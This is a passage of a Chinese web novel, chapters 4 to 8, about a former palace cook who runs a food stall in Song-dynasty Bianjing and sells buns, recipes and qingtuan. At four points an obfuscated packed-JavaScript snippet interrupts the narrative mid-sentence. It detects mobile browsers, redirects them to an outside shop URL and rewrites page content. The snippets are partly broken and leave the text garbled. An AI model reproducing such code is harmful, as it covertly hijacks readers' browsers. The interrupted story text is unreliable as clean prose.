“这叫‘白吉馍’。” 小娘子一笑，又从旁边的锅子里提出块五花三层的豚肉，刀刃贴着肉皮一刮，在案板上剁作臊子，接着又摸出几片干荷叶，就着鏊子余温烘了烘，再抄起烤好的馍，横刀一划，夹进肉片，浇一勺浓稠的卤汁，最后添两片脆生生的腌胡瓜。 “十五文一个，用荷叶包着，烫不着手。” 嗯，价钱是比寻常早点贵些，但看这吃食模样新奇，有肉有菜，倒也值得。 头一个光顾的是个赶镖的汉子，咬下一口，嗯，不一样，馍皮焦香酥脆，内里的豚肉却极为软烂入味，卤汁咸香浓郁，再被那清甜的腌瓜一解腻，几种滋味融合得恰到好处。 “娘子，手艺真不赖！”汉子三两口吃完，由衷赞道。 李怀珠手上忙着，笑了笑：“您吃得惯就好。” 这镖师开了个好头，摊子前渐渐也聚起了人气，骑马路过的差役觉得新鲜，一口气买了三个，有赶着去衙署的绿袍官人，吩咐多包一个要带去给同僚尝尝，连对面酒肆的小二，也趁掌柜不备，溜过来买了一个。 那卖索饼的妇人看得眼热，忍不住嘟囔：“不就是饼夹肉么？谁还不会了……” 正说着，忽见李怀珠掀开身前的瓷碗，里头竟是用茱萸胡麻调制的辣酱，红艳艳的勾人食欲。 她舀起一勺问那衙役：“郎君可想多些滋味？” 衙役拍胸脯：“尽管来！” 一勺辣酱下去，馍饼顿时添了三分豪气，那人吃得满头大汗，却连呼痛快，引得旁人纷纷效仿。 晨光渐亮，李怀珠的竹篦见了底。 这时早市也散了大半，赶朝的官吏都走得干净，只剩几个晚起的闲散人晃悠着来寻吃食。 李怀珠给最后一位主顾包好荷叶馍，那是个睡眼惺忪的清秀书生，衣襟上沾着宿墨，想是昨夜苦读到三更。 “某来此三月有余，除了昨日一桌大席，这是最好吃的饭食了。”书生一手吃着，一手提着个外带的荷叶包，含糊问道，“小娘子明日还来不来？” “只要不是刮风下雨，都来的。” 李怀珠笑着应声，抬头瞧那人一眼，心说该不会是昨天去过打火店的举子吧，手上却已开始收拾家伙什。 书生提着荷叶包走远，隔壁卖粥的老汉见状笑道：“小娘子这买卖做得精。十五文一个的肉馍，老夫三碗粥才抵得上哩。” 李怀珠笑而不语，铁鏊下的炭火将熄未熄，舀一瓢清水浇上去，嗤的一声，白雾腾起，在晨光里打了个转儿。 这般经营半月，李怀珠心里有了本帐。 她这荷叶馍本钱下得足，挣的就是东市客商与殷实人家图新鲜、求干净的钱。 荷叶虽比油纸难买价贵，可那清香气往街口一飘，便是最好的招牌。 这半月试下来，每日备的货总能卖个干净，刨去各项成本，净利算下来近三贯钱，除开月租五百文，还余下许多，七七八八算下来，竟比寻常宫婢月例还多！ ＊ 石子桓提着荷叶馍回到赁居小院，檐角还滴着露水珠子。 他小心提着，青衫下摆却仍被雨水洇湿了一片。 推开厢房的门，谢慈正伏案誊写策论。 “买了些什么回来？” “兰时，你且看这个。”石子桓将荷叶包放在案头，清涩荷香混着肉香漫开，“东市一小娘子新出的‘荷叶馍’，滋味甚妙。” 谢慈笔尖一顿，目光掠过那青翠荷叶。 待解开系绳，馍饼酥香扑面而来，内里夹着肥瘦相间的豚肉，卤汁浸润 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888280|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处微微发亮。 “十五文一个。”石子桓坐一旁感叹，“虽比寻常炊饼贵些，却值得。” 谢慈颔首，垂眸咬了一口，外酥里嫩的馍皮与卤肉交融，混着腌制好的胡瓜，清爽开胃，竟很合胃口。 “如何？” “尚可。”谢慈取帕子拭手，却见对方又从袖中摸出个小油纸包，“这又是何物？” “酱料。”石子桓献宝似的展开，“那小娘子说，若嫌滋味寡淡，可添些茱萸酱。” 红艳艳的辣酱盛在油纸包里，很是干净，嘴里这道清爽不油腻的肉香，叫他莫名想起那日掺了青笋的好肉圆子，又想，这两厢莫不是同出一人之手？ 可却又觉不是。 当日小娘子那番姿容相貌、好口齿，总也不会落到市井摆摊的地步才对。 倒不是他瞧不起这营生，只是觉得以她的本事，若真出了宫，合该被各家酒楼争着聘去做掌勺，或是被富户人家请去专司宴席，更何况那夜伯爷吃了她的四喜丸子，回去便写了篇《食趣小记》，在文人雅士间传阅，连带着孙家打火店的名声都水涨船高。 听说如今去十字坡求席面的人，都快把孙娘子的门槛踏平了…… ＊ 倒春寒一过，天气忽而有些燥热。 李怀珠浑然未觉自己成了汴京饮食圈里的谈资，仍把回笼觉睡到日上三竿。 睡好了，挎着竹篮在菜市转了一圈，称了半斤麦粉，几枚鸡子，一把野胡葱，路过城隍庙，瞧见几株老榆树探出墙头，嫩绿的榆钱儿挤挤挨挨，美的倒是应景。 只是俗如某人，只能想到口腹之欲。 回到店宅务的小院，日头已经晒上来了。 柴灶火旺，李怀珠烙了几张颇为粗犷的榆钱饼，又借着余温，炒了个胡葱鸡子。 晚食就摆在院里的石桌上。 榆钱饼切成八瓣，外酥里糯，野胡葱炒蛋堆在粗瓷碗里，金黄翠绿，辛辣鲜甜，就着一碗莼菜羹下肚，比宫中的伙食落胃。 店宅务后院养了只浑圆的黑色小狗崽，听勾押官说是为了镇宅，可小东西却颇为怕人，平时不出窝，闻着味道，也不知何时蹭到了她脚边，尾巴尖儿一勾一勾扫她裙角。 李怀珠掰了块饼丢给它，看小狗崽子叼着去墙角吃着，想起去年此时，尚食局正忙着准备清明的寒食，她跪在玉地上记单子，掌膳就站在她旁边，说一句她便得记一句，饿得眼前发黑也不敢动一下。 哪像现在，想睡到几时便几时，爱吃什么做什么。 5. 第 5 章 不出一月，李怀珠的摊子熟客多了起来。 每日清晨，总能看到几个身影等在摊前。 姓王的矮胖衙役便是其中之一，常隔着半条街就喊：“李娘子，老规矩，两个馍，其中一个多浇勺汁！” 这王衙役从前在军中待过，口味重，就爱那卤汁浸透了馍的滋味，一边等着，一边跟李怀珠唠几句。 “昨个儿又巡了一夜，腿肚子都转筋了，就盼着你这口呢！”他接过热腾腾的饼夹肉，叹道，“嘿！别处还真吃不着这个味儿！伱这卤肉，香浓软烂，肥而不腻，瘦而不柴，吃了浑身舒坦，精神头立马就足！” 有时他还会带着同僚来，一来二去，连开封府里一些小官、书吏也知道了东市有个滋味独特的饼夹肉，时不时差人来买。 东市龙蛇混杂，也是消息灵通之地。 关于这摊子女主人的来历，难免有些风言风语在茶余饭后流传。 有说她原是宫里尚食局的女官，因得罪了人被黜落的，也有夸大其词，说她是因为手艺太好，遭了嫉妒被排挤出来的。 这些传言，无形给她蒙上了一层神秘色彩，引得更多好奇之人前来。 对面早食店的老板姓周，起初见这新摊子生意红火还不以为意，后来见自家小二都偷偷去买，也尝了一个。 吃完后，却是盯着那包裹食物的荷叶，若有所思。 怪不得……这娘子手下是有真功夫不假，但脑子却更灵光，肉馍用荷叶包着，既不透油，拿着干净，凑近了还有股清香气——这心思可比多放一勺肉活多了！ 没过两日，周老板店里的吃食，竟也悄悄用起荷叶包裹。 恰逢这日月中朝会，赶着上值的官吏仆从挤满街巷，摊子收得比平日更早。 李怀珠想着再去肉铺订些好肉，却见一顶青绸小轿停在店宅务门前。 她脚步未停，轿帘却“唰”地被一只染了蔻丹的手掀开。 “李娘子，可叫我好找！”孙大娘子探出身来。 她人一袭粉缎褙子配着白玉头面，在日头下明晃晃亮眼。 “孙大娘子？”李怀珠一怔，笑容浮现，“娘子寻我有事？” “自然是大好事！”孙大娘子下了轿，笑吟吟递过一纸单子，“这儿说话不便，咱们进去细说。” 李怀珠会意，引着孙大娘子进了店宅务正厅。 这地方平日里多是些小吏往来，今日倒清净。 二人寻了张僻静桌子，相对而坐。 “自打伯爷那日的席面传开，去我那儿求席面的帖子堆了半尺高！偏生你走得急，连个落脚处都未留。”孙大娘子坐下，道：“得亏了阿妹，找到了那日送你出宫的郎君，那人说将你安置在了这，我才得了信儿，急忙来寻你。” “你瞧，光这半月就有十几家来问，都是冲着‘四喜丸子’的名头。” 李怀珠接过单子，不由暗暗咋舌——这单子上既有六部郎中的家眷，也有城南的富商，最末竟还记着两位郡王府的长史。 永安伯的粉丝们，果然非同一般。 孙大娘子展颜一笑，问道：“我听说，娘子自己也做了些买卖？” “不过是小打小闹，糊口罢了。”李怀珠将单子折好，余光瞥见窗外几个探头探脑的小丫头，脸生的很，“那娘子今日来，可是为了……” 孙大娘子道：“今日来，本是想同娘子商量，看看可否每半月去帮我承一回席面？” 李怀珠闻言，却没有爽快应下。 孙大娘子看出她为难，道：“可是有什么顾虑？” “顾虑谈不上，只是觉得有更好的办法。”不一会儿，她放下茶盏，“若是娘子诚心，不如我将‘四喜丸子’的方子教给娘子的厨娘？这样一来，娘子也不必每回都要请我去，少了拘束，想什么时候承办席面都方便。” 孙大娘子先是一怔，随即喜上眉梢：“这敢情好！只是……”她犹豫，“娘子肯将这拿手菜教给别人？” 李怀珠轻笑：“一道菜罢了，算不得什么。再说，我在东市摆摊，也做不了大席面，倒不如让娘子店里添个招牌菜。” 和聪明人交往就是爽利，孙大娘子笑道：“好个精明的丫头！好，就依你！” 二人又说起酬劳，李怀珠念着孙大娘子帮她得了创业资金，只要二两银子。 “这如何使得！”孙大娘子柳眉一竖，“城南‘醉仙楼’买个寻常炙鸭方子都要五两起，何况娘子这等好手艺？” 说着，她从袖中掏出一锦红荷包，往前一推，“十两，少一个子儿都不成。” 且看过买家拼命压价，还没见过这么往上抬的。 “好娘子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888281|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这银子不单是买你的方子，更是买我们打火店的招牌。你且想想，往后客人吃着‘四喜丸子’，谁不念我那一声好？”孙大娘子拍拍她的手，“再说了，我那厨娘笨手笨脚的，少不得要多劳你费心。” 见话说到这份上，李怀珠也不再推拒，笑着将荷包收进袖中。 “那便多谢娘子了。” 孙大娘子事忙，也不便久留，起身便要走，却又想起什么。 “伯爷府上也递了话，同我打听娘子出路，寻思着是想聘娘子做私厨呢……不知娘子意下如何，我该如何回他老人家？” 李怀珠颇有些受宠若惊。 指点厨娘尚可，横竖能赚份轻省银子，可进伯府……才出深宫阙，又入富贵门，何苦来哉！ “孙娘子的差事我应了。”她将单子折好，又递回给孙大娘子，“至于伯爷府上，劳您替我婉拒，就说小女子粗手笨脚，登不得高门。” 孙大娘子也不强求，“我一瞧娘子就是个有主意的。成！之后我让厨娘来寻你！” 李怀珠正要道谢，忽听院中一阵喧哗。 只见几个仆役正抬着描金箱笼往西厢去。 为首的少年锦衣玉带，瞧着不过十岁的模样，见了她便冷哼一声，后头跟着个簪金蝶的少女，瞧着要比少年大个五六岁，更是眼皮都不抬。 “这是……”李怀珠一头雾水。 孙大娘子瞥了一眼，低声道：“我听闻新任盐铁判官的家眷，昨日刚进京，宅子都没安置好，想必就是这户了。”她意味深长拍拍李怀珠的手，“朱门绣户的，眼睛都长在头顶上，不必理会。” 李怀珠点了点头。 孙大娘子的轿子刚消失在巷口，她前脚回到小院，后脚一位瞧着三十出头的妇人便寻来了，自称姓赵，是孙家打火店的厨娘。 俩人净了手，便在院角的小灶边教起来，赵娘子显然是灶上的老手，一点就透，晌午时终于做好，赵娘子小心尝了一口。 “肥而不腻，还带着荸荠的脆甜。娘子这方子，果然精妙！” 李怀珠点头笑道：“是了，就是这个滋味。” 她放下心来，又叮嘱了些火候细节，赵娘子一一记下，道了谢，这才提着食盒匆匆离去，想必是急着回店里演练。 李怀珠掂掂十两银子的荷包，美滋滋回了屋。 6. 第 6 章 春景一来，转眼便是武成王庙会。 李怀珠原本就是个爱热闹的性子，会吃，更会玩。 回忆中的庙会不是汴京，是她的前世小城，每到年节庙会也喧腾……人潮密密涌着，她骑在爸爸的脖子上，视野一下子变得那么高，那么辽阔，花花绿绿的棚顶，攒动的人头，都在脚下缓慢游动。 大宋的庙会果然比那时更热闹，还未到庙前，便听各色人声香气。 百戏杂陈，舞榭歌台，卖卦、饮食、剪裁、画画、令曲之类，李怀珠随着人流缓缓而行，看了一会儿傀儡戏，又瞧了阵弄虫蚁的，最好玩的，却要数街边一个名不见经传的糖画摊子。 摊主是个白发老头，手法很是老练，手腕或提、或顿、或疾、或徐，糖丝蜿蜒游走，时而成圆，时而成弧，交错层叠，竟无一丝滞涩，不过瞬间，一条糖龙已初具雏形……李怀珠便和孩子们一起啧啧称奇。 逛得累了，糖画儿是不管饱的。 武城庙门前，海州张家饼店门店极为开阔，瞧来便觉气势不凡，临街的档口一字排开数座烤炉，伙计们来来往往，和面、制胚、贴炉、起饼，配合默契，俨然一副大作坊的气派。店招下挂着水牌，列着各色品种，门油、菊花、宽焦、侧厚、油锅、髓饼……名目繁多，眼花缭乱。 李怀珠来到台前，按着伙计的推荐，每样都挑了些。 门油饼表皮油润，酥香满口，侧厚饼一面酥薄，一面厚软，别有风味……然而，不知是否自己亲手做惯了，总觉得这些名声在外的胡饼，滋味虽好，却似乎少了点什么。 翌日照例去菜市闲逛，恰逢城外庄户送来一批头茬春韭，叶宽肥厚，碧绿如玉，引得不少人都围了过去。 李怀珠也称了一把。 上好的羊肉自然是贵的，好在羊脂价格却很亲民。 “老板，这些羊脂怎么卖？” “娘子要？三十文都拿去吧！” 李怀珠付了钱，想着用羊脂配春韭，做一道宫廷平替版“羊脂韭饼”，也就是后世俗称的韭菜盒子，岂不美哉？ 好在这东西做起来并不麻烦。 羊脂切碎，改成小丁，春韭择洗干净，控干水分，切成细末，舀了一勺熟油淋在韭菜上，锁住水分，只简单的盐、少许胡椒，再点上几滴香油拌匀。 面是早就和好的，用的半烫面，烙出来饼皮柔软又筋道。 烙好之后，想着这饼趁热吃滋味最好，便留下几个，剩下的都包了，给院中几位平日里多有照应的邻里分一分，自然也没忘了那位大体还算公允的勾押官。 来到前厅，正巧勾押官得闲在喝茶。 来了数日，李海珠才知勾押官姓王，约莫四十上下年纪，面庞黝黑，带着些风霜痕迹。 他起初有些意外，推辞两句，见李怀珠态度诚恳，便笑着接了。 ——嗯，不错，饼皮酥软，辛香浓郁，又有羊脂的油润香气！ “好味！这羊脂韭饼……倒让某想起当年在外奔波的日子了。” 李怀珠早觉这位勾押官不似寻常胥吏，颇有眼色，“哦？大人以前常在京外？” 勾押官道：“不瞒娘子，某年轻时也曾做过几任巡检，主要在两湖、岭南一带巡查盐政、缉捕私贩。那时翻山越岭、宿露餐风是常事，各地干粮、饼饵不知吃了多少。” “后来一次追捕时从山崖摔下，断了腿骨，虽接上了，阴雨天总不免酸痛。家中老母妻儿担忧，这才托了关系，谋了这官，安稳下来。” 巡检，虽是低品武职，却需时常跋涉，熟悉地方，也能见识四方风物。 李怀珠恍然，顺水赞道：“原来大人还有这般经历，难怪见识广博。” 这话似乎勾起了王勾押官的谈兴，他呷了口茶，继续说道：“说起这饼，各地风味真是大不相同。岭南一带常用糯米磨粉，包椰丝、虾米蒸熟，软糯咸香。荆湖之地则爱用燠熟的肥膘肉丁、葱末椒盐，至于川峡诸路，甚至有用茱萸、姜蒜入肉馅的，吃起来别有一番风味……” 李怀珠不由自主，想起前世尝过的各地特色。 “大人说的是。依您所言，岭南的应是椰香咸糕，荆湖的倒让我想起一种脂油饼，至于川峡的辛辣口味——” 她想起现代吃的四川锅盔，要加辣酱的，“想必是能驱尽山间湿寒吧？” 王勾押官抚掌道：“娘子虽未亲至，形容得却如此贴切！尤其‘驱尽湿寒’，正是那些常年行走山间的脚夫最爱此味的原因，娘子果然于饮食之道上颇有灵性！” 李怀珠一笑：“不过是听大人描述生动，胡乱揣测罢了。” 王勾押官却连连摆手，“非也非也，娘子能闻一知十，非常人可及。” 李怀珠也跟着抿唇微笑。 饭毕，经过西厢，那金蝶少女正指挥下人摆放屏风，见李怀珠路过，故意将团扇一展，遮住了半边脸。 李怀珠也不恼，这店宅务里三教九流都有，朱门寒户挨着住，转身进院，只当没瞧见，径自绕过满地箱笼。 走到廊下，那小娘子同几个丫鬟忽而提高了声量，似是专门说与她听的。 “我当是什么人户，竟能霸占着东向的好屋子，不过是个贫女罢了，只怪那勾押官唬人，待我回去告诉了父亲，定要他好瞧！” 得，原来是因为屋子的事。 李怀珠心下正感慨，一个清朗男声自身后响起：“哦？你又要让谁好瞧？” 院中几人皆是一怔。 李怀珠循声回头，只见祁檀不知何时已立在月洞门下，手里提着两个油纸包。 那小娘子与小少爷一见来人，异口同声。 “表兄！” “表哥！” 祁檀将一个油纸包递给表弟，“寒食节将近，给你们带了素芳斋的糕点。” 少年欢呼一声，立刻被糕点吸引，凑到一边拆解去了。 那少女也跟着过去，眼角风扫过李怀珠。 祁檀这才转向李怀珠，“李娘子，家中弟妹自小骄纵顽劣，对不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888282|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 原来那日与李怀珠分别后，祁檀记起她说的福祸相依，心中触动，便寻了机会回府探望祖母。谁知正赶上祖母突发惊厥，府里父母皆不在，下人们慌作一团，还要现去套车寻老爷。亏得祁檀是骑马来的，当即去请了郎中，这才及时稳住病情。后来那郎中才道，若再晚上一刻半刻，老人家怕是就难说了。 经此一事，要升迁京中的大伯父放心不下，便提前入了京。也非京中宅邸未曾备好，实在是这对姐弟自小被宠得顽劣不堪，大伯母唯恐他们吵闹不休，叨扰了祖母静养，这才暂将他们安置在这。 祁檀念着李怀珠那日无心之言，今日得空，特地过来探望，刚进门便听勾押官诉苦，这才赶了过来。 “祁大人言重了，不过是孩童戏言，没什么大不了的。”李怀珠笑了笑，并未放在心上。 祁檀见她神色如常，不似作伪，将另一个油纸包地上，“适才路上顺手买的，寒食节的应景糕点，娘子若不嫌弃，尝尝看。” 李怀珠初时婉拒，自觉无功不受禄，但见他态度诚恳，便也回屋取了一小坛自己酿的梅子酒作为回礼。 那酒里添了陈皮增其醇厚，又点了薄荷添了沁凉，正是春时好滋味。 “里面添了陈皮薄荷。若是觉得味道太新奇，可别觉得胡闹。”李怀珠笑道。 “娘子说笑了。能尝到这般别出心裁的手艺，是某荣幸。”祁檀接过酒坛，又挑眉，笑看向她，“只是不知，若我觉得好喝，日后可还有机会再讨一坛？” 李怀珠莞尔：“那就要看大人下次带来的点心合不合我口味了。” 二人相视一笑，又寒暄几句，李怀珠回了屋，打开油纸包。 原是一屉子推燕，并两拢金黄撒子。 宋朝的寒食节，是顶讲究的。 清明前头那几日，家家户户都不举火，吃冷食。 这规矩传说是为了念着介子推的，传说这人有骨气，不肯受功名利禄的熏染，抱树烧死了，后人念他，便有了“子推燕”。 子推燕不是真的燕子，是用面做的，搁在枣饼上，一个个小燕子似的，模样乖巧得很。好面掺了蜜糖，拿两颗赤豆嵌作眼睛，上笼蒸熟，吃起来软糯清甜，浓郁醇厚。 李怀珠尝了一个，又掰了撒子。 这时候的撒子，是最香的了，抓一把在手里，轻飘飘的，没半点分量，送入口中，几乎不用嚼，舌头一压，便“咔哧”一声，纯粹的麦香和油香，寒食节里，用它来佐碗冷粥，或是就着一点蜂蜜。而有钱人家的撒子，用奶油和面，炸出来更是酥松，名曰“酥饼”，但那已是另一番富贵风味了。 有诗道“芳洲拾翠暮忘归，秀野踏青来不定”，清明前后的日子，正是踏青的好时节。 官家女子们相约游春，在水边采摘花草，嬉戏忘归，秀美的野郊之上，踏青的人们往来不绝，而像她这样的小摊贩，虽没有那般雅趣，却也应有自己的乐子…… 天下比挣钱更有意思的事，是挣很多的钱。 7. 第 7 章 宋时清明，是真正意义上的佳节。 寒冬瑟缩尽褪，天地明净，草木萌发，人心里也痒痒的，要走到春光里去，尤其是深闺里的公子小姐，这一日，也得了由头，能名正言顺地出门，踏一路软尘，看一城春色。 要数踏青胜地，郎君娘子们最爱去的自是金明池。 清明时节，今明池畔柳丝如烟，水面上有彩舟画舫，笙歌隐隐，小姐们戴着铺翠冠儿，插着闹蛾雪柳，下了车马，便用团扇半掩了面，只露出一双流转的眼，公子们则多是骑马，锦袍玉带，鞍辔鲜明，在人群中顾盼神飞。 他们看的，是那秋千架上的翩跹人影，衣裙飘飘，直如仙子凌风，怪不得取名“半仙戏”。 逛得腹中微饥，街边食摊上尽是应景吃食，用杨树叶或柳条穿了的子推饼，更有浆粥、乳酪和冻浆，甜津津凉沁沁。 可今日不同。 那些自家备好的食盒的公子小姐们，今日却频频看向远处。 只见有人迎面捧着几片碧绿荷叶走来，荷叶中央托着几枚团子，颜色如初春柳芽，又似雨后天青的瓷釉，润泽透亮，可怜可爱。 有相识的小姐忍不住上前询问，年轻公子便笑着指向池畔一角。 “喏，便是那儿买的。小娘子做的‘碧玉团’，端的妙极！” “却不知如何寻那摊主？” 那公子闻言一笑，几分促狭：“你去了，看见她便知道了。” 问话的人将信将疑，携了同伴循着方向走去，待到了那处，果然一眼便瞧见了摊主——并非因她的摊位多么显眼，实在是那小娘子本人实在吸睛。 乌发如云，装扮清雅，人美的自然灵动，一捏一捻，那叫做碧玉团的点心便成了型，行云流水，自有韵致。 怪不得说“看见她就知道了”，这般颜色，这般气度，在这金明池畔确是鹤立鸡群，想不注意到都难。 摊子前的人越聚越多，李怀珠歇了半晌，倒是忙起来了。 她也是头一回来金明池摆摊，只听闻游人多，却不知这些做买卖的，天不亮就已来占好了位置，她来得不算晚，可到了金明池边，好位置早已被占得七七八八，便寻了处靠近柳荫的角落，支起了自己的糕点摊面。 卖的也不是什么稀奇东西，便是从前清明时节常吃的青团罢了。 青团这东西，妙在它的“青”。 这青色取自店宅务后院的艾草，取嫩尖，洗净，焯水，捞出拧干，再细细剁碎，或是用石臼捣出深绿的汁子，和入糯米粉中，便有了清冽的草木香气，因清明禁火，便将青面团先蒸成糍糕保存，随用随取更便宜。 馅料的花样可就多了。 最传统的是豆沙馅。红豆煮得烂烂的，滤去皮，用猪油和砂糖细细地炒过，沙、糯、甜、香。再有那芝麻馅，混着白糖与猪油。还有用春笋、雪菜、豆干、肉末炒成的咸馅，有包着马兰头、荠菜的，有春野清新。 冷吃的青团，皮子韧而弹牙，热吃的，则软糯非常，各具风味。 摊面上特意用了新鲜荷叶承托，既添了清雅，又免了沾黏。 起初只是零星几个好奇的游人被这新颖的团子吸引，尝过之后，一传十，十传百，尤其是那些追求风雅与时令的公子小姐们，见这团子形制可爱，名儿也风雅，纷纷遣了丫鬟小厮来买。 “小娘子，要四个豆沙的，两个春笋腊肉的！” “我家郎君要甜咸各半……” “这外皮是如何做得这般翠绿可人的？” 李怀珠一边手下不停，一边含笑应答。 嗓音清亮，落落大方，丝毫不因围拢过来的人多而怯场，收钱找零，有条不紊。 青团卖得差不多了，金明池畔愈发熙攘，蹴鞠赛开场，传来阵阵喝彩，想必是比赛正酣。 玩得汗流浃背，口干舌燥的人们开始四处寻觅解渴消暑的饮子，李怀珠将带来的几只小坛梅子酒搬出来，摆上些提前做好的子推燕和枣锢。 “小娘子，这酒怎么卖？”很快便有熟客凑上前。 “十文一盏，若是喜欢，整坛带走亦可。” 十文一盏，价格不算便宜，但在这等热闹处，又顶着日头，一口冰爽酸甜的梅子酒下肚，实在诱人。 很快，摊前又排起了小队。 李怀珠低头舀酒，心里却不由飘远了——往年这时节，宫中正忙乱着清明宴席，光是各色冷食的规制、摆放，就够尚食局忙得脚不点地，也不知孙司膳她们此刻是否得闲歇口气？ 神游天外，忽听得一阵车马声。 颇为轩敞的马车在不远处停下，为首车上下来一位圆润富态的老爷，几个读书人跟在后面，李怀珠眼神好，一眼认出那胖老爷正是泰安伯。 再看他身后，那个廊下替她拾帕子的举子也在，旁边还跟着一位面熟的年轻人——可不就是常来她摊上买荷叶馍的公子么？ 这一行人气度不凡，立时吸引不少目光，原本围在李怀珠摊前的食客见状，让开了一些。 老伯爷显然是循着热闹来得，一眼就瞧见了李怀珠摊子上与众不同的团子，饶有兴致踱步上前。 “哟，这点食倒是别致，绿莹莹的团子，唤作什么名堂？” 李怀珠心下虽认出他们，面上却丝毫不露，只作寻常客人对待，“回老丈的话，这叫‘碧玉团’，是小女家乡的清明小食。还有自家酿的梅子酒，老丈可要尝尝？” 伯爷捋着胡须，看了她一眼，“各来一些。” 用荷叶托了几样青团，又舀了几盏梅子酒奉上。 这时，那举子石子桓凑了过来，“小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888283|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘子，原来你也到金明池来了！你那荷叶馍这几日可让我好想！” 李怀珠对他有印象，是位大方且爱开玩笑的顾主，于是低首浅笑道，“郎君喜欢便好。” 石子桓还想再说些什么，旁边谢慈淡淡开口：“齐愈，伯爷还在。”目光在李怀珠脸上打了个转儿。 石子桓摸摸鼻尖，施施然走了回去。 这边，伯爷尝了青团和梅酒，不由赞叹道：“不错。团子软糯清香，酒也酿得别有风味，想不到这市井之间，亦有如此高人！” 他身旁便有人凑趣问道：“伯爷如此盛赞，莫非比府上厨娘手艺更妙？听闻前些时日，那做出四喜丸子的女官，不是曾入府献艺？” 伯爷闻言，却是摇了摇头。 是又请孙家厨娘来做过一回，瞧着模样是像的，可总觉得滋味上差了些，想来是换人了，只能遗憾道：“老夫也曾诚心相邀，奈何人家小娘子志不在此，婉拒了。可惜，可惜喽！” 周围人听了，都面露惊讶。 能得伯爷青眼，邀入府中，这是多少人求之不得的机缘，竟有人婉拒？ 这时，一直沉默的谢慈忽而开口。 “伯爷雅量，能赏识市井真味，已是难得。然而人各有志，那位娘子想必是个通透豁达之人，不愿受高门拘束，也是常情。伯爷有成人之美，不以为忤，更是君子之风。” 这番话说得十分漂亮，伯爷一听，果然受用。 他素知谢慈在这群江南举子中虽年纪最轻，性子也冷僻些，但才华见识却是顶尖，难得听他如此附和并称赞自己，心中更是舒畅，捻须笑道：“兰时此言有理！是老夫执着了，哈哈，各有各的缘法，强求不得！” 会说话的人自然懂四两拨千斤的道理，最好不过三言两语，轻轻揭过。 伯爷招呼众人：“来来，再给大伙都满上这梅子饮，今日遇此佳品，当尽兴！” 仆从们忙上前斟酒。 谢慈接过酒盏，却发现盏中比别人多了一撮干桂。 嗅到酒中桂花香，他端盏，抬眼正对上李怀珠的目光。 两人视线一触即分，李怀珠唇角微挑，谢慈已垂眸看向盏中浮沉的桂花。 伯爷一行人临走时赏银二两，道是“颇有趣致”，摆摊第一次拿小费，李明珠收的很是畅快。 清明三日，金明池畔人来人往，李怀珠这处柳荫下的摊子，因着新巧好滋味，竟是日日顾客不绝，连大相国寺的僧人也遣了小火工，提着食盒，一次便买上几十个豆沙的带回去，说是分与香客结缘。 几日下來，加上各种赏银，拢共赚了五六贯钱，比卖荷叶馍进项可多了。 这样想来，李怀珠觉得清明不让生火、不让梳洗也没那么难过了。 ——赚钱嘛，不丢脸！ 8. 第 8 章 人说“春非我春，秋非我秋”，食事亦然。 若要组一套素斋单子，样子要清、淡、雅、真，还要兼具色、香、味、形，佛家讲究依时取用，节俭为本，最好以时令食材为主，注重四时五味调和，顺应自然，离欲清净。 原是那日金明池畔碧玉团清雅可口，大相国寺小沙弥买了回去，不仅分与香客，竟连素日严肃的监寺都连连颔首。 恰逢浴佛节将至，今年又与往年不同。 因去岁秋雨连绵，寺内一处偏殿屋瓦渗漏，梁椽有些朽坏，需得大修，这修缮之事，少不得要麻烦许多将作监的官员。 说来也巧，将作监的某位丞大人，其夫人笃信佛法，早言明要随夫同来参与浴佛节祈福。 顶头上司来了，下属自然也得随从，更不知有多少同僚、家眷。 这一来，大相国寺的方丈和监寺便有些犯了难。 出家人讲究清心寡欲，平日所食斋饭，主食不过米饭、蒸饼，汤羹是豆腐羹，主菜则多一大锅融合当季蔬菜、豆制品的“罗汉菜”，求个饱腹养身。 这等饮食，用于修身养性自是极好，可用来招待朝廷官员及女眷，未免过于简慢，恐失了礼数，也难显诚心。 